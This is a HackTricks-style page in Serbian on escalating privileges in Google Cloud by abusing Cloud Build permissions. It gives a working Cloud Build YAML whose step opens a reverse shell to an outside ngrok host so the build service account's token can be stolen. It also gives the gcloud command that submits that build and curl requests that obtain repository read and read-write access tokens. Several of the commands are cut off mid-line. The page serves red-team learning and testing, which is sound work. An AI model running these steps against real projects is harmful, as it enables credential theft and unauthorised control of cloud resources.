GCP - Cloudbuild Privesc
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
cloudbuild
Za više informacija o Cloud Build pogledajte:
cloudbuild.builds.create, iam.serviceAccounts.actAs
Sa ovom dozvolom možete pokrenuti cloud build. Na cloudbuild mašini će u svom fajl sistemu po podrazumevano postojati token cloudbuild Service Account-a: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Međutim, možete navesti bilo koji Service Account unutar projekta u cloudbuild konfiguraciji.
Zato možete jednostavno naterati mašinu da token exfiltrate-uje na vaš server ili dobiti reverse shell unutar nje i pribaviti token (fajl koji sadrži token se može promeniti).
Direct exploitation via gcloud CLI
1- Create cloudbuild.yaml and modify with your listener data
Cloud Build YAML configuration for reverse shell
```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```2- Otpremite jednostavan build bez izvora, yaml fajl i navedite SA koji će se koristiti za build:
Pošaljite Cloud Build sa specificiranim service account-om
```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/Korišćenje python gcloud biblioteke
Možete pronaći originalni exploit script here on GitHub (ali lokacija sa koje uzima token nije radila za mene). Zbog toga, pogledajte skriptu za automatizaciju creation, exploit and cleaning of a vuln environment here i python skriptu za dobijanje reverse shell-a unutar cloudbuild mašine i steal it here (u kodu možete naći kako da specificirate druge service accounts).
Za detaljnije objašnjenje, posetite https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
cloudbuild.repositories.accessReadToken
Sa ovom dozvolom korisnik može dobiti read access token koji se koristi za pristup repozitorijumu:
Nabavite read access token za repozitorijum
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.repositories.accessReadWriteToken
Sa ovom dozvolom korisnik može da dobije read and write access token koji se koristi za pristup repozitorijumu:
Dobijte read and write access token za repozitorijum
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.connections.fetchLinkableRepositories
Sa ovom dozvolom možete dobiti repozitorijume kojima konekcija ima pristup:
Dobavljanje repozitorijuma koji se mogu povezati
```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects/Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

